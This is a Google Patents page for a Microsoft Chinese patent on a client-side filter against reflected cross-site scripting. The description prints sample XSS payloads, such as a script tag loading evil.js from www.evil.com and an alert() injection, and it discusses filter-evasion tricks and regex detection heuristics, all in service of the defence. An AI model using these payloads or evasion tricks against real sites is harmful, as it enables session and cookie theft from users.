CN101849238B - 跨站脚本过滤器 - Google Patents

跨站脚本过滤器 Download PDF

Info

Publication number
CN101849238B
CN101849238B CN200880115316.8A CN200880115316A CN101849238B CN 101849238 B CN101849238 B CN 101849238B CN 200880115316 A CN200880115316 A CN 200880115316A CN 101849238 B CN101849238 B CN 101849238B
Authority
CN
China
Prior art keywords
xss
filter
server
client
communication stream
Prior art date
Legal status (The legal status is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the status listed.)
Active
Application number
CN200880115316.8A
Other languages
English (en)
Other versions
CN101849238A (zh
Inventor
D·A·罗斯
S·B·利普内
Current Assignee (The listed assignees may be inaccurate. Google has not performed a legal analysis and makes no representation or warranty as to the accuracy of the list.)
Microsoft Technology Licensing LLC
Original Assignee
Microsoft Technology Licensing LLC
Priority date (The priority date is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the date listed.)
Filing date
Publication date
Application filed by Microsoft Technology Licensing LLC filed Critical Microsoft Technology Licensing LLC
Publication of CN101849238A publication Critical patent/CN101849238A/zh
Application granted granted Critical
Publication of CN101849238B publication Critical patent/CN101849238B/zh
Active legal-status Critical Current
Anticipated expiration legal-status Critical

Links

Classifications

    • HELECTRICITY
    • H04ELECTRIC COMMUNICATION TECHNIQUE
    • H04LTRANSMISSION OF DIGITAL INFORMATION, e.g. TELEGRAPHIC COMMUNICATION
    • H04L63/00Network architectures or network communication protocols for network security
    • H04L63/16Implementing security features at a particular protocol layer
    • H04L63/168Implementing security features at a particular protocol layer above the transport layer
    • GPHYSICS
    • G06COMPUTING; CALCULATING OR COUNTING
    • G06FELECTRIC DIGITAL DATA PROCESSING
    • G06F21/00Security arrangements for protecting computers, components thereof, programs or data against unauthorised activity
    • G06F21/50Monitoring users, programs or devices to maintain the integrity of platforms, e.g. of processors, firmware or operating systems
    • G06F21/55Detecting local intrusion or implementing counter-measures
    • GPHYSICS
    • G06COMPUTING; CALCULATING OR COUNTING
    • G06FELECTRIC DIGITAL DATA PROCESSING
    • G06F21/00Security arrangements for protecting computers, components thereof, programs or data against unauthorised activity
    • G06F21/50Monitoring users, programs or devices to maintain the integrity of platforms, e.g. of processors, firmware or operating systems
    • G06F21/55Detecting local intrusion or implementing counter-measures
    • G06F21/56Computer malware detection or handling, e.g. anti-virus arrangements
    • HELECTRICITY
    • H04ELECTRIC COMMUNICATION TECHNIQUE
    • H04LTRANSMISSION OF DIGITAL INFORMATION, e.g. TELEGRAPHIC COMMUNICATION
    • H04L63/00Network architectures or network communication protocols for network security
    • H04L63/14Network architectures or network communication protocols for network security for detecting or protecting against malicious traffic
    • H04L63/1441Countermeasures against malicious traffic
    • HELECTRICITY
    • H04ELECTRIC COMMUNICATION TECHNIQUE
    • H04LTRANSMISSION OF DIGITAL INFORMATION, e.g. TELEGRAPHIC COMMUNICATION
    • H04L67/00Network arrangements or protocols for supporting network services or applications
    • H04L67/01Protocols
    • H04L67/02Protocols based on web technology, e.g. hypertext transfer protocol [HTTP]

Landscapes

  • Engineering & Computer Science (AREA)
  • Computer Security & Cryptography (AREA)
  • Computer Hardware Design (AREA)
  • General Engineering & Computer Science (AREA)
  • Software Systems (AREA)
  • Theoretical Computer Science (AREA)
  • Computer Networks & Wireless Communication (AREA)
  • Signal Processing (AREA)
  • General Physics & Mathematics (AREA)
  • Physics & Mathematics (AREA)
  • Computing Systems (AREA)
  • Virology (AREA)
  • General Health & Medical Sciences (AREA)
  • Health & Medical Sciences (AREA)
  • Computer And Data Communications (AREA)
  • Information Transfer Between Computers (AREA)

Abstract

通过安装防止反射的XSS漏洞的客户端过滤器可以完全地在客户端上实现的反射的跨站脚本(XSS)减轻技术。完全地在客户端上执行的XSS过滤允许Web浏览器抵御涉及可能没有充分的XSS减轻措施的服务器的XSS。该技术使用精选的启发规则,并将URL和POST数据的可疑的部分与反射的页面内容进行匹配,来准确地标识XSS攻击。过滤器所使用的技术快速地标识被认为是安全的通信流并将其放行,使过滤器对性能的影响保持最低。可以快速地将非HTML MIME类型以及同一站点的请求放行。对于剩余的请求,不在完全的HTTP响应上运行正则表达式,除非XSS启发规则在HTTP请求URL或POST数据中被匹配。

Description

跨站脚本过滤器
背景
跨站脚本(XSS)是一种记录在案的Web应用程序安全漏洞类别。XSS攻击的目的是允许攻击者控制用户和用户信任的网站或Web应用程序之间的关系。
在最常见的情况下,XSS涉及一种恶意URL,构造这种URL使得在生成的Web页面的HTML(超文本标记语言)输出中重复该URL中的嵌入的客户端脚本。当受害的客户端使用客户端Web浏览器导航到该URL时,所产生的客户端脚本在与受信任的服务器共享的会话的安全上下文中执行。假设的XSS攻击可能按如下方式进行:引诱受害者点击邮件消息中的链接;该链接将受害者的浏览器导航到看起来像著名的并且受信任的网站;然而,该URL链接包含恶意脚本块;由受信任的站点生成的Web页面将脚本块从包含恶意脚本evil.js的URL反射,导致客户端从evil.com加载evil.js脚本。恶意脚本在页面上显示其自己的新闻文章。受害者相信,新闻文章是来自受信任站点的真正的内容,因为受信任的站点的域出现在浏览器的地址栏中。
受信任的站点上的欺骗内容会是相当温和的;然而,由现代Web浏览器暴露的对象模型会允许潜在的更复杂的攻击。超出内容欺骗以外,这些攻击包括:盗窃cookie,包括可能允许攻击者作为受害用户远程登录到Web应用程序的会话cookie;监视输入到恶意网站的键击;代表用户在网站上执行操作(例如,对Windows LiveMailTM的XSS攻击可能允许攻击者读取并转发电子邮件消息,设置新的日历约会等等)。
最近,网站开始汇编针对因特网上的网站报告的XSS问题的档案。归档了超过10,000个自愿地提交的针对网站的XSS问题。攻击者可以自由地阅读XSS攻击的档案来对任何特定的网站使用。传统的用于减轻XSS的技术不在客户端上进行,而是使用字符编码、安全库,以及Web应用程序扫描技术,在服务器上进行。如上文所指出地,网站服务器处于来自可以应用XSS攻击的无数可能的方式的压力之下。此外,已经提出的一些XSS减轻技术涉及客户端组件,但是,没有哪一个能够完全在客户端上有效地过滤XSS攻击。
发明内容
下面提供了简明的概要,以便提供对此处所描述的一些新颖的实施例的基本概念。本概要不是详尽的概述,旨在标识关键性元素或描述其范围。其唯一的目的是以简化形式呈现一些概念,作为稍后呈现的比较详细的描述的前奏。
所公开的跨站脚本(XSS)减轻技术通过安装能够消除当今存在的XSS漏洞的客户端过滤器而完全地聚焦于客户端上。完全地在客户端上执行的XSS过滤允许Web浏览器抵御涉及可能没有充分的XSS减轻措施的服务器的XSS。现代动态网站上普遍存在的XSS的性质使这一点成为必需。
该技术通过将URL和POST数据的可疑的部分与反射的页面内容进行匹配,准确地标识XSS攻击。过滤器所使用的技术快速地标识被认为是安全的通信流并将其放行,使过滤器对性能的影响保持最低。可以将非HTML MIME类型以及同一站点的请求快速放行。对于剩余的请求,不在完全的HTTP响应上运行正则表达式(用于匹配其他字符串的字母数字字符串),除非XSS启发规则在HTTP请求URL中被匹配。
过滤器以不会打开否则将不会存在的新的XSS漏洞的方式使XSS攻击中性化。此外,过滤器以也不会对Web浏览产生不利的影响的方式使XSS中性化,不大可能将良性的内容标记为XSS攻击。
对过滤器的输入是完全HTTP请求/响应通信流。因此,在备选实现中,该技术可以在Web代理服务器或在Web服务器上起作用。使用这种能力,过滤器作为能够阻塞XSS的通用Web应用程序防火墙来起作用,而无需具有特定的应用程序级的知识。
为了达到前文所述以及其它的相关目的,此处结合下面的描述和附图描述了某些说明性方面。然而,这些方面只是表示可以使用此处所公开的原理的各种方式中的一些方式,并旨在包括所有这些方面和等效内容。通过与图形一起阅读下面的详细描述,本发明的其他优点和新颖的特点将变得显而易见。
附图说明
图1示出了用于过滤跨站脚本(XSS)攻击的系统。
图2示出了XSS过滤器逻辑的更详细的框图。
图3示出了可以使用的并且可随着检测到新的威胁而扩展的示范性启发规则集。
图4示出了包括用于过滤XSS攻击的过滤器组件的浏览器实现。
图5示出了其中在服务器上应用过滤器逻辑的服务器实现。
图6示出了其中在代理服务器上应用过滤器逻辑的服务器实现。
图7示出了计算机实现的过滤反射的XSS攻击的方法。
图8示出了使用XSS过滤器的示范性方法。
图9示出了根据所公开的体系结构的可以执行XSS过滤的计算系统的框图。
图10示出了用于过滤反射的XSS攻击的示范性计算环境的示意框图。
详细描述
所公开的体系结构是完全集中在客户端上的反射的跨站脚本(XSS)减轻过滤技术。过滤器是持久的,与网站兼容,并且是安全的。兼容性部分地是指过滤器防止网站的断开。浏览器作为默认启用的功能,使用过滤技术,以提供保护相关数量的用户的能力。由此,如果过滤器将断开甚至少量的网站,过滤器也将难以或不可能作为默认启用的功能来实现。
客户端的过滤器抵御涉及可能没有充分的XSS减轻措施的服务器的XSS攻击。该技术通过使用启发规则和利用启发规则生成的签名,将URL和POST数据的可疑的部分与反射的页面内容进行匹配来准确地标识XSS攻击。过滤器快速地标识被认为是安全的通信流并将其放行,最小化过滤器对客户端进程性能的影响。客户端XSS过滤器能够观察和截取从浏览器到Web服务器的特定MIME类型的HTTP请求和响应。可以快速地将非HTML(超文本标记语言)MIME(多用途因特网邮件扩展)类型以及同一站点的请求放行。对于剩余的请求,不在完全的HTTP响应上运行正则表达式,除非XSS启发规则在HTTP(超文本传输协议)请求URL中被匹配。
现在将参考附图,其中,相同的参考编号用于表示相同的元件。在下面的描述中,为了进行说明,阐述了很多具体细节,以便提供对其有全面的了解。然而,显而易见,可以没有这些具体细节的情况下,实施要求新颖的实施例。在其他情况下,以框图形式示出了已知的结构和设备,以便有助于进行描述。
图1示出了用于过滤XSS攻击的系统100。系统100包括客户端104的用于处理客户端104和服务器106之间的通信流的通信组件102,以及用于使用XSS过滤器逻辑110来从通信流中过滤反射的XSS攻击的过滤器组件108。通信组件102可以是向服务器106发送以HTTP请求的形式的通信流的浏览器,而在客户端104上操作的过滤器组件108从返回通信流中过滤XSS攻击,攻击是HTTP响应的一部分。
在过滤完全在客户端104上进行的情况下,通信组件102是客户端中向服务器106发送HTTP请求的浏览器,过滤器组件108在客户端104上操作,以过滤XSS攻击。下面将描述在服务器端上的实现。
通信流可以是HTTP请求/响应通信流,其中,过滤器组件108分析请求通信流,以确认响应通信流中的XSS攻击。这可以通过由过滤器组件108分析请求通信流的引用者(referer)标头来实现。过滤器组件108包括启发规则,并针对客户端104到服务器106的传出通信流(例如,HTTP请求)处理启发规则,以生成签名,并针对来自服务器106的传入通信流(例如,HTTP响应)处理签名,以过滤XSS攻击。
启发规则处理包括过滤器组件108选择一个或多个中性字符。将HTTP响应中的被标识的中性字符替换为中性替换字符。换言之,对输入URL和POST数据运行一个或多个启发规则,导致生成签名。生成签名的过程是标识中性字符的过程。然后对来自服务器106的传入的通信流运行签名,以判断是否发生了XSS攻击。此处比较详细地对此进行了描述。在一种实现中,过滤器组件108基于具有将导致响应在浏览器中作为HTML呈现的MIME类型的传入的通信流的内容来针对XSS攻击处理传入的通信流。
在备选实现中,过滤器组件108是客户端浏览器的一部分,并观察对浏览器的脚本引擎的所有输入。当标识脚本块时,过滤器组件108回来扫描该请求的原始传出的通信流(例如,原始URL和/或POST数据),以查找将要执行的脚本。如果找到了脚本,并且不匹配,则是同一站点的脚本,可以允许放行;然而,如果存在匹配,则认为它是反射的XSS攻击,在这种情况下,它将被过滤掉,或供进一步处理。
图2示出了XSS过滤器逻辑110的更详细的框图。过滤器逻辑110被示为包括可以通过启发规则处理组件202应用于传出的通信流(例如,来自客户端浏览器)的启发规则集200。对启发规则200的处理,得到签名204,然后,可以使用签名校验逻辑206,针对传入的通信流(例如,到客户端浏览器)应用签名204。
XSS分析可以是两步骤过程:首先,基于对传入的请求通信流(例如,URL或post数据)的启发规则,构建签名,其次,针对响应通信流,处理签名,以查找匹配(还被称为向回反射)。换言之,它不只是寻找从客户端前往服务器的URL或post数据中的内容(HTTP请求),而且还标识相同数据正在或者未重新播放到HTTP响应中。劣等的过滤器是“一个步骤”,寻找请求中的不好之处,但不尝试将请求与被反馈的并且将执行的内容匹配。
一种XSS攻击方法是通过使过滤器确信消除将导致启用否则将不可能启用的XSS的诸如双引号之类的字符,来戏弄过滤器。对这种攻击的对抗技术是精心挑选HTTP响应中将被修改的字符。这种只对除XXS部分以外合法的Web页面的XSS部分的可选择的中性化,以对用户的最小的干扰来阻塞XSS。这与阻塞页面和/或要求很大程度的用户交互的情形形成对比。将不会选择会影响执行或将允许这种攻击的字符。可以使用有效地阻止脚本在当分析器遇到它时立即执行的哈希符号。由此,通过智能地选择响应中作为有问题的将要被替换的字符来减轻威胁。
第二种攻击技术是,通过向当字符被重新播放到服务器或从服务器重新播放时可能被丢弃或转换的请求中添加字符,来戏弄过滤器。攻击可能涉及被嵌入到URL中的脚本标记。这事实上是攻击的常见形式。因此,过滤器逻辑110在URL或POST数据中分析潜在脚本标记。如果该脚本标记被重新播放,则逻辑110需要能够标识响应中的相同标记或相同文本。如果攻击者确定,可以,例如,在脚本标记的中间,添加陌生的Unicode字符或感叹号,且服务器在重新播放字符或标记之前
丢弃它,则可以绕过过滤器,因为过滤器正在寻找脚本标记,而不是在中间带有感叹号的脚本标记。
战胜此第二种攻击技术的一种方式是通过基于过滤的第一阶段(请求)开发签名204,即,使签名204不正好匹配预计位于HTTP响应中的东西,而是匹配构成XSS攻击的实质的重要字符。换言之,在请求中插入一个或多个额外的字符将不会打败过滤器逻辑的有效性。
启发规则200是预定的集合,并用于第一阶段,分析请求通信流(URL或post数据),以查找可能导致脚本在浏览器中执行的脚本标记和/或表达式。这样的信息的识别不是决定性的。由此,使用启发规则200中查找到的信息生成签名204,这些签名204作为在HTTP响应中重新播放的XSS攻击的证据。随着攻击的发展,可以编制不同的启发规则,并添加到启发规则200中,用于标识这些新的攻击。可以以更新的形式将新的启发规则提供给过滤器逻辑110。
图3示出了可以使用的并且随着检测到新的威胁而扩展的示范性启发规则集200。用于扫描URL的启发规则包括,但不仅限于,下面的内容:
启发规则300检测″或者′后面跟着(然后跟着)。初始″或′后面跟着的是要匹配的非字母数字。这会防止它无意中匹配URL。启发规则302检测″;something.something=somethingelse;启发规则304显式地检测脚本块;启发规则306检测“style(样式)”后面跟着″expression(表达式)(″;启发规则308检测带有表达式的STYLE元素;启发规则310检测脚本src=blocks;启发规则312检测第一种形式的javascript URL;启发规则314检测第二种形式的javascript URL;启发规则316检测vbscriptURL;启发规则318检测嵌入的对象;启发规则320检测行为,包括默认行为;启发规则322检测可能引用样式表的LINK(链接)元素;启发规则324检测带有数据绑定的元素(脚本可以隐藏在XML数据岛中);启发规则326检测可能引用小程序的APPLET元素;启发规则328检测带有类型属性的OBJECT(对象)元素;启发规则330检测<[TAG]ON[EVENT]=SomeFunction()...且...<[TAG]ON[EVENT]=SomeFunction(),而启发规则332检测可能设置cookie或设置模糊的内容类型的META(元)元素。
随着检测到新的威胁,可以添加其他启发规则。例如,可以提供用于检测块FRAME/IFRAME的启发规则。可以在需要的情况下,在签名生成过程中推入输入的各种置换。例如,一些Web服务器平台悄悄地联合(coalesce)带有相同名称的参数。例如,http://microsoft.com/microsoft.asp?Name=asdf&Name=zzzz可能导致Name变量重新播放为″asdf,zzzz″。攻击可以利用此服务器端行为来戏弄过滤器。由此,过滤器执行相似的参数名称联合,以模仿此服务器端行为。除将原始URL推入签名生成过程之外,如果存在带有相同名称的参数,则它将它们联合起来,并将所产生的URL推入签名生成过程。在上面的示例中,辅助URL将推入签名生成过程:http://microsoft.com/microsoft.asp?Name=asdf,zzzz.
图4示出了包括用于过滤XSS攻击的过滤器组件108的浏览器实现400。客户端浏览器402(通信组件)向Web服务器406发送HTTP请求404。过滤器组件108通过向请求中的URL和/或POST数据应用启发规则来处理请求,以生成签名。如果启发规则指示请求是可疑的,则过滤器组件108还向HTTP响应408应用签名,从而过滤掉反射的XSS攻击。
在备选实施例中,浏览器中的过滤器将允许服务器通过发送特定HTTP响应标头,而对于特定响应,禁用XSS过滤器。除非存在非常特定的并且相当稀少的漏洞(例如,“响应分离”漏洞),否则攻击者不可能欺骗此标头,并因此禁用过滤器。此特点旨在作为应用程序兼容性措施,以确保执行服务器端XSS过滤或只是不希望客户端XSS过滤器以任何方式影响服务器的网站,可以禁用浏览器中的功能。
图5示出了其中在Web服务器502上应用过滤器逻辑的服务器实现502。这里,可以作为服务器防火墙应用程序504(在此情况下,通信组件)的一部分,包括过滤器组件108。防火墙应用程序504在便于通过网络508传输数据的一个或多个服务器协议506上操作。防火墙应用程序504和服务器502之间的通信流可以包括HTTP请求通信流510和HTTP响应通信流512。过滤器组件108通过使用启发规则,对请求通信流510进行操作,以生成供在响应通信流512中处理的签名。换言之,通信组件是服务器502上处理通信流的防火墙应用程序504,而过滤器组件108作为防火墙应用程序504的一部分来操作,以过滤XSS攻击。
图6示出了其中在代理服务器602上应用过滤器逻辑的服务器实现600。这里,可以作为代理服务器防火墙604(在此情况下,通信组件)的一部分,包括过滤器组件108。代理防火墙604在便于通过网络508传输数据的一个或多个服务器协议506上操作。代理防火墙604和代理服务器602之间的通信流可以包括HTTP请求通信流510和HTTP响应通信流512。过滤器组件108通过使用启发规则,对请求通信流510进行操作,以生成供在响应通信流512中处理的签名。换言之,通信组件是代理服务器602上的处理通信流的代理防火墙604,而过滤器组件108作为代理防火墙604的一部分来操作,以过滤XSS攻击。
对于服务器实现600的此相同配置也可以适用于供一排Web服务器使用的反向代理服务器的情况。由此,到该排服务器的所有入站通信流首先到达代理上,在代理上处理通信流,或将通信流转发到指定的服务器供进一步处理。因此,与响应通信流一起,检查从代理传递到Web服务器的请求,以确认是否有企图的XSS攻击存在,并更完全地,阻塞XSS攻击。
下面是代表用于执行所公开的体系结构的新颖的方面的示范性方法的一系列流程图。尽管为了简洁起见,作为一系列动作示出和描述了此处,例如,以流程图的形式示出的一个或多个方法,但是,应该理解,这些方法不仅限于所描述的动作的顺序,一些动作可以按与此处所示出和描述的不同的顺序进行和/或与其他动作并行地进行。例如,所属领域的技术人员将理解,方法也可以替代地诸如在状态图中表示为一系列相互关联的状态或事件。此外,并非方法中所示出的所有的动作都是新颖的实现所必需的。
图7示出了计算机实现的过滤反射的XSS攻击的方法。在700,向服务器发送请求。请求可以是HTTP请求或根据其他合适的协议的其他请求。在702,使用启发规则,处理请求,以判断是否要生成签名。在704,从服务器接收响应。响应可以是HTTP响应,或用于XSS攻击其他类似的响应类型。在706,基于签名的生成,作为反射的XSS攻击,过滤响应。
图8示出了使用XSS过滤器的示范性方法。在800,接收HTTP响应。在一个面向性能的实现中,过滤器只对于具有会导致脚本执行的MIME类型的下载的内容才生效。因此,在802,对HTML MIME类型进行检查。如果响应不是HTML MIME类型,则流程进入804,将HTTP响应传递到客户端Web浏览器。如果响应包括HTMLMIME类型,则流程从802进入806,在这里,过滤器还检查HTTP请求中的引用者标头。如果引用者相同,则它是同一站点脚本,流程进入804,传递响应,因为不需要执行进一步的过滤。
如果引用者标头中的完全限定域名不匹配正在被检索的URL的完全限定域名,那么,请求可能是跨站点脚本,并进行过滤。由此,流程从806进入808,然后查找启发规则匹配。如果没有找到匹配,则流程进入804,将响应转发到Web浏览器。然后,过滤器获取与请求相关联的URL以及任何POST数据,并使用正则表达式来标识表示XSS攻击的特定模式。这些不区分大小写的模式是过滤器的启发规则。下面是来自过滤器的以正则表达式的形式存在的示例启发规则:
{<sc{r}ipt.*?>}
启发规则中的内大括号{}中的字符叫作“中性字符”,它以后将在HTTP响应中被标识和中性化。启发规则可以具有一个或多个中性字符。此启发规则将标识脚本标记。尽管脚本标记在HTML中可能是常用的,但是,脚本标记在URL或POST数据中的存在表示XSS攻击。过滤器可以包括启发规则,每一个启发规则都标识可在浏览器中使用来触发跨站脚本的单个机制。如果将来标识了另外的机制,则可以向过滤器中添加新的启发规则。
每一个中性字符(在此情况下,字母“r”)表示最终将被HTTP响应主体中的过滤器修改以便阻塞跨站脚本攻击的字符。可以使用字符“#”作为中性替换字符-它对于分解HTML元素以及它所注入的脚本块是有效的。可以在每个启发规则的基础上配置中性替换字符。
过滤器的对中性字符的选择可以确定过滤器是否可以被破坏;为启发规则选择的错误的中性字符会导致过滤器可被破坏。作为示例,挑选引号作为中性字符将导致过滤器使引号中性化。聪明的攻击者可能会使用此来强制匹配,并使页面上的引号中性化,这实际上会允许发生否则不可能发生的跨站脚本攻击。
与启发规则的匹配不一定会触发过滤器检测跨站脚本;然而,匹配向过滤器指出,将检查HTTP响应主体,以验证输入URL或POST数据中的脚本实际上被重新播放到输出页面。
在启发规则匹配的情况下,流程从808进入810,在这里,过滤器为每一个匹配生成一个签名。签名是将用于扫描HTTP响应主体以查找重新播放的的可疑的输入的新的正则表达式。在匹配签名之后,中性替换字符被临时放进URL,继续针对启发规则进行匹配,直到在URL中无法找到更多的匹配。签名是对于其中没有中性替换字符的URL生成的。否则,签名本身将包含中性替换字符,将不会正确地匹配HTTP响应中存在的攻击。考虑将使后面跟着一组括号的引号中性化的启发规则:
′;alert();alert();alert();//
正则表达式有足够的能力匹配第一组括号或者最后一组括号;然而,表达式却不能匹配中间的一组括号。因此,希望进行反复的匹配/中性化处理,直到对于特定的启发规则标识了所有签名。
对于每一个启发规则,提供安全的字符列表。对于检测脚本标记的启发规则,安全的字符是大于(>)和小于字符(<),还有字母数字。安全的字符是对于匹配目的重要的,并且对启发规则正试图阻塞的某种形式的攻击必要的字符。使用基于签名的方法,因为如果过滤器简单地逐字地搜索匹配,过滤器将不一定会查找到匹配。Web服务器可能会偶然删除或转换特定字符。事实上,观察诸如此的Web服务器行为是常见的,攻击者可以利用行为。例如,考虑如果攻击者的URL看来像下面的:
http://www.victim.com/page.asp?x=<SCRIPT
src$=″http://www.evil.com/evil.js″>
如果服务器偶然从输入中删除了美元符号,则攻击将不会被匹配。为了避免这种攻击,使用签名方法,而不是逐字地进行文本匹配。
下面是对于检测脚本标记的启发规则的示例匹配:
<SCRIPT src=″http://www.evil.com/evil.js″>
为此匹配生成的签名将是:
<SC{R}IPT¤src¤¤http¤¤¤www¤evil¤com¤evil¤js¤>
签名中的每一个¤都表示来自原始匹配的非安全的字符。零到十个未指定的字符的序列将匹配任何¤。流程从810到812,检查签名匹配。如果没有为特定页面生成签名,则流程从812进入804,在这里,过滤器允许该页面加载而无需修改-没有检测到XSS攻击。
然而,如果签名确实存在,则流程从812进入814,在这里,过滤器对于每一个签名,扫描HTTP响应主体,并对每一个签名匹配,使适当的字符中性化。一旦标识,过滤器记录哪些字符将被中性化,如签名中的大括号内的字符所指示的。一旦在HTTP响应主体上运行了所有签名,就将中性字符放进原位,并将HTTP响应主体返回给浏览器。在816,记录了对于特定URL(以及POST数据,如果适用的话)阻塞了XSS这一事实,并向用户通知企图进行的XSS攻击。流程从816进入804,在这里,页面将正常地呈现,只是XSS攻击将被禁止。
如在本申请中所使用的,术语“组件”和“系统”旨在是指与计算机有关的实体,无论是硬件、硬件和软件的组合、软件或运行中的软件。例如,组件可以是,但不仅限于,在处理器上运行的进程、处理器、硬盘驱动器、多个存储驱动器(光学和/或磁存储介质)、对象、可执行程序、运行的线程、程序,和/或计算机。作为说明,在服务器上运行的应用程序和服务器两者都可以是组件。一个或多个组件可以驻留在进程和/或运行的线程内,组件可以局限在一台计算机上和/或分布在两个或更多计算机之间。
现在请参看图9,该图示出了根据所公开的体系结构的用于执行XSS过滤的计算系统900的框图。为了提供其各个方面的附加的上下文,图9以及下面的讨论旨在提供其中可以实现各个方面的合适的计算系统900的简要的、一般描述。尽管上文的描述是在可以在一台或多台计算机上运行的计算机可执行的指令的一般上下文中进行的,但是,所属领域的技术人员将认识到,新颖的实施例也可以与其他程序模块相结合地实现,和/或作为硬件和软件的组合来实现。
一般而言,程序模块包括执行特定任务或实现特定抽象数据类型的例程、程序、组件、数据结构等等。此外,所属领域的技术人员将了解,可以利用其他计算机系统配置来实施本发明的方法,包括单处理器或多处理器计算机系统,小型计算机、大型计算机,以及个人计算机,手持式计算设备、基于微处理器的或可编程的消费电子产品等等,上述每一种设备都可以可操作地连接到一个或多个关联的设备。
所说明的方面也可以在其中某些任务由通过通信网络链接的远程处理设备执行的分布式计算环境中实现。在分布式计算环境中,程序模块可以位于本地和远程存储器存储设备中。
计算机通常包括各种计算机可读介质。计算机可读介质可以是可以被计算机访问的任何可用的介质,并包括易失性和非易失性介质,可移动和不可移动介质。作为示例,而不作为限制,计算机可读的介质可以包括计算机存储介质和通信介质。计算机存储介质包括以存储诸如计算机可读的指令、数据结构、程序模块或其他数据之类的信息的任何方法或技术实现的易失性和非易失性、可移动和非可移动介质。计算机存储介质包括,但不仅限于,RAM、ROM、EEPROM、闪存或其他存储技术、CD-ROM、数字视盘(DVD)或其他光存储器、盒式磁带、磁带、磁盘存储器或其他磁存储设备,或可以被用来存储所希望的信息并可以被计算机访问的任何其他介质。
再参考图9,用于实现各方面的示范性计算系统900包括具有处理单元904、系统存储器906和系统总线908的计算机902。系统总线908为系统组件,包括,但不仅限于,系统存储器906提供到处理单元904的接口。处理单元904可以是市场上可买到的各种处理器中的任何一种。也可以使用双微处理器及其他多处理器体系结构作为处理单元904。
系统总线908可以是可以使用各种市场上可买到的总线体系结构中的任何一种,进一步互连到存储器总线(有或者没有存储器控制器)、外围总线,以及本地总线的多种总线结构类型中的任何一种。系统存储器906可以包括非易失性存储器(NON-VOL)910和/或易失性存储器912(例如,随机存取存储器(RAM))。基本输入/输出系统(BIOS)存储在非易失性存储器910中(例如,ROM、EPROM、EEPROM等等),BIOS存储例如在启动期间帮助在计算机902内的元件之间传输信息的基本例程。易失性存储器912也可以包括用于缓存数据的诸如静态RAM之类的高速RAM。
计算机902进一步包括内部硬盘驱动器(HDD)914(例如,EIDE、SATA),内部HDD 914也可以被配置为在合适的底盘上作为外用、磁性软盘驱动器(FDD)916(例如,从可移动磁盘918中读取或向其中写入)和光盘驱动器920(例如,读取CD-ROM光盘922或,从诸如DVD之类的其他大容量光学介质中读取或向其中写入)。HDD 914、FDD 916和光盘驱动器920可以分别通过HDD接口924、FDD接口926和光驱动器接口928,连接到系统总线908。用于外部驱动器实现的HDD接口924可以包括通用串行总线(USB)和IEEE 1394接口技术中的至少一个或两者。
驱动器以及它们的关联的计算机可读介质提供数据、数据结构、计算机可执行的指令等等的非易失存储。对于计算机902,驱动器和介质接纳合适的数字格式的任何数据的存储。虽然上文对计算机可读介质的描述引用了HDD、可移动软磁盘,以及诸如CD或DVD之类的可移动光学介质,但是,所属领域的技术人员应该了解,计算机可读取的其他类型的介质,如压缩驱动器、磁带盒、快擦写存储卡、盒式磁带等等,也可以用于示范性操作环境中,进一步地,任何这样的介质都可以包含用于执行所公开的体系结构的新颖的方法的计算机可执行的指令。
许多程序模块可以存储在驱动器和易失性存储器912中,包括操作系统930、一个或多个应用程序932,其他程序模块934和程序数据936。一个或多个应用程序932、其他程序模块934,以及程序数据936可以包括通信组件102(例如,浏览器)、客户端104、过滤器组件108、XSS过滤器逻辑110、启发规则处理组件202、启发规则200、签名204、签名校验逻辑206、浏览器402、服务器防火墙504,以及代理防火墙604。
操作系统、应用程序、模块和/或数据中的全部或一部分也可以缓存在易失性存储器912中。应了解,所公开的体系结构可以利用各种市场上可买到的操作系统或操作系统的组合来实现。
用户可以通过一个或多个有线/无线输入设备,例如,键盘938和指示设备,如鼠标940,向计算机902输入命令和信息。其他输入设备(未显示)可以包括麦克风、IR遥控器、游戏杆、游戏操纵杆、铁笔、触摸屏等等。这些及其他输入设备常常通过连接到系统总线908的输入设备接口942连接到处理单元904,但是,也可以通过其他接口,如并行端口、IEEE 1394串行端口、游戏端口、USB端口、IR接口等等,来进行连接。
监视器944或其他类型的显示设备也可以通过诸如视频适配器946之类的接口,连接到系统总线908。除了监视器944之外,计算机通常还包括诸如扬声器,打印机之类其他外围输出设备(未显示)。
计算机902可以使用逻辑连接通过与一个或多个远程计算机(如远程计算机948)的有线/或无线通信,在联网的环境中操作。远程计算机948可以是工作站、服务器计算机、路由器、个人计算机、便携式计算机、基于微处理器的娱乐电器、对等设备或其他公共网络节点,通常包括针对计算机902所描述的许多或全部元件,虽然,为了简洁,只示出了存储器/存储设备950。所描述的逻辑连接包括与局域网(LAN)952和/或较大的网络,例如,广域网(WAN)954的有线/无线连接。这样的局域网与广域网网络环境在办公室和公司是普遍现象,并有利于建设诸如内部网之类的企业范围的计算机网络,所有的这些都可以连接到全球通信网,例如,因特网。
当用于LAN网络环境中时,计算机902通过有线和/或无线通信网络接口或适配器956连接到LAN 952。适配器956可以促进与LAN 952的有线或无线通信,LAN952也可以包括位于其上的无线接入点,用于与适配器956的无线功能进行通信。
当用于WAN网络环境中时,计算机902可以包括调制解调器958,或连接到WAN 954上的通信服务器,或具有用于通过WAN 954(如通过因特网)建立通信的其他装置。调制解调器958,可以是内置的或外置的,有线和/或无线设备,通过输入设备接口942,连接到系统总线908。在联网的环境中,参考计算机902所描述的程序模块,或其某些部分,可以存储在远程存储器/存储设备950中。应了解,所示出的网络连接只是示范性,也可以使用用于在计算机之间建立通信链路的其他装置。
计算机902可以与可操作地处于无线通信中的任何无线设备或实体,例如,打印机、扫描仪、台式机和/或便携式计算机、便携式数据助理、通信卫星、与可以无线方式进行检测的标记关联的任何设备或位置(例如,自助服务机、报摊、休息室),以及电话,进行通信。这至少包括Wi-Fi(或无线保真)和BluetoothTM无线技术。如此,通信可以是与常规网络相同的预定义的结构,或者,只是至少两台设备之间的特别通信。Wi-Fi网络使用叫做IEEE802.11x(a,b,g,等等)的无线技术提供安全、可靠、快速的无线连接。可以使用Wi-Fi网络将计算机彼此连接起来,连接到因特网,以及连接到有线网络(这些有线网络使用IEEE 802.3或以太网)。
现在请参看图10,该图示出了用于过滤反射的XSS攻击的示范性计算环境1000的示意框图。环境1000包括一个或多个客户端1002。客户端1002可以是硬件和/或软件(例如,线程、进程、计算设备)。客户端1002可以,例如,封装cookie和/或关联的上下文信息。
